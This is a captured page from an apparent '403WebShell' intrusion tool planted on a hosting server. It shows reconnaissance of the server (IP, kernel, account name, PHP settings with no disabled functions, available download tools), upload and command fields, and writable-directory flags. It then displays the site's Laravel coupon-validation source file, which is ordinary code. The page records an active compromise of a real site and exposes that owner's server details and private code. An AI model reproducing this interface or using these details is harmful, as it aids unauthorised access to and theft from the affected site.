Failed to save the file to the "xx" directory.

Failed to save the file to the "ll" directory.

Failed to save the file to the "mm" directory.

Failed to save the file to the "wp" directory.

403WebShell
403Webshell
Server IP : 66.29.132.124  /  Your IP : 18.118.33.130
Web Server : LiteSpeed
System : Linux business141.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : wavevlvu ( 1524)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/wavevlvu/book24.ng/modules/Coupon/Models/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/wavevlvu/book24.ng/modules/Coupon/Models/Coupon.php
<?php
namespace Modules\Coupon\Models;
use App\BaseModel;
use App\User;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\Auth;
use Modules\Booking\Models\Bookable;
use Modules\Booking\Models\Booking;
use Modules\Booking\Models\Service;

class Coupon extends Bookable
{
    protected $table = 'bravo_coupons';
    protected $casts = [
        'services'      => 'array',
        'only_for_user'      => 'array',
    ];

    protected $bookingClass;

    public function __construct(array $attributes = [])
    {
        parent::__construct($attributes);
        $this->bookingClass = Booking::class;
    }

    public function applyCoupon($booking,$action = 'add'){
        // Validate Coupon
        $res = $this->applyCouponValidate($booking,$action);
        if ($res !== true)
            return $res;
        switch ($action){
            case"add":
                $this->add($booking);
                break;
            case"remove":
                $this->remove($booking);
                break;
        }
        $booking->reloadCalculateTotalBooking();
        return [
            'status' =>  1,
            'message' => __("Coupon code is applied successfully!")
        ];
    }

    public function applyCouponValidate($booking,$action){
        if($action == 'remove'){
            return true;
        }
        $check_coupon = CouponBookings::where('coupon_code',$this->code)->where("booking_id",$booking->id)->count();
        if(!empty($check_coupon)){
            return [
                'status'=>0,
                'message'=> __("Coupon code is added already!")
            ];
        }
        if(!empty($end_date = $this->end_date)){
            $today = strtotime("today");
            if(  strtotime($end_date) < $today){
                return [
                    'status'=>0,
                    'message'=> __("This coupon code has expired!")
                ];
            }
        }
        if(!empty($min_total = $this->min_total) and $booking->total_before_discount < $min_total){
            return [
                'status'=>0,
                'message'=> __("The order has not reached the minimum value of :amount to apply the coupon code!",['amount'=>format_money($min_total)])
            ];
        }
        if(!empty($max_total = $this->max_total) and $booking->total_before_discount > $max_total){
            return [
                'status'=>0,
                'message'=> __("This order has exceeded the maximum value of :amount to apply coupon code! ",['amount'=>format_money($max_total)])
            ];
        }
        if(!empty($this->services)){
            $check = false;
            $service_booking_object_id = $booking->object_id;
            $service_booking_object_model = $booking->object_model;
            foreach ($this->couponServices as $item){
                if($item->object_id == $service_booking_object_id and $item->object_model == $service_booking_object_model){
                    $check = true;
                }
            }
            if(!$check){
                return [
                    'status'=>0,
                    'message'=> __("Coupon code is not applied to this product!")
                ];
            }
        }
        if(!empty($this->only_for_user)){
            if(empty($user_id = Auth::id())){
                return [
                    'status'=>0,
                    'message'=> __("You need to log in to use the coupon code!")
                ];
            }
            if(!in_array($user_id,$this->only_for_user)){
                return [
                    'status'=>0,
                    'message'=> __("Coupon code is not applied to your account!")
                ];
            }
        }
        if(!empty($quantity_limit = $this->quantity_limit)){
            $count = CouponBookings::where('coupon_code',$this->code)->whereNotIn('booking_status',['draft','unpaid','cancelled'])->count();
            if($quantity_limit <= $count){
                return [
                    'status'=>0,
                    'message'=> __("This coupon code has been used up!")
                ];
            }
        }
        if(!empty($limit_per_user = $this->limit_per_user)){
            if(empty($user_id = Auth::id())){
                return [
                    'status'=>0,
                    'message'=> __("You need to log in to use the coupon code!")
                ];
            }
            $count = CouponBookings::where('coupon_code',$this->code)->where("create_user",$user_id)->whereNotIn('booking_status',['draft','unpaid','cancelled'])->count();
            if($limit_per_user <= $count){
                return [
                    'status'=>0,
                    'message'=> __("This coupon code has been used up!")
                ];
            }
        }
        return true;
    }

    public function remove($booking){
        $couponBooking = CouponBookings::where('coupon_code',$this->code)->where('booking_id',$booking->id)->first();
        if(!empty($couponBooking)){
            $couponBooking->delete();
        }
    }

    public function add($booking)
    {
        //for Type Fixed
        $coupon_amount = $this->amount;
        //for Type Percent
        if($this->discount_type == 'percent'){
            $coupon_amount =  $booking->total_before_discount / 100 * $this->amount;
        }
        $couponBooking = new CouponBookings();
        $couponBooking->fill([
            'booking_id' => $booking->id,
            'booking_status' => $booking->status,
            'object_id' => $booking->object_id,
            'object_model' => $booking->object_model,
            'coupon_code' => $this->code,
            'coupon_amount' => $coupon_amount,
            'coupon_data' => $this->toArray(),
        ]);
        $couponBooking->save();
    }

    public function couponServices(){
        return $this->hasMany( CouponServices::class, 'coupon_id');
    }
    /**
     * Using for select2
     * @return array
     */
    public function getServicesToArray(){
        $data = [];
        if(!empty($this->services)){
            $services = Service::selectRaw('id,object_id,object_model,title')->whereIn('id',$this->services)->get();
            foreach ($services as $item){
                $data[] = [
                    'id'   => $item->id,
                    'text' => strtoupper($item->object_model) . " (#{$item->object_id}): {$item->title}"
                ];
            }
        }
        return $data;
    }
    /**
     * Using for select2
     * @return array
     */
    public function getUsersToArray(){
        $data = [];
        if(!empty($this->only_for_user)){
            $users = User::where('status','publish')->whereIn('id',$this->only_for_user)->get();
            foreach ($users as $item){
                $data[] = [
                    'id'   => $item->id,
                    'text' => "(#{$item->id}): {$item->getDisplayName()}"
                ];
            }
        }
        return $data;
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit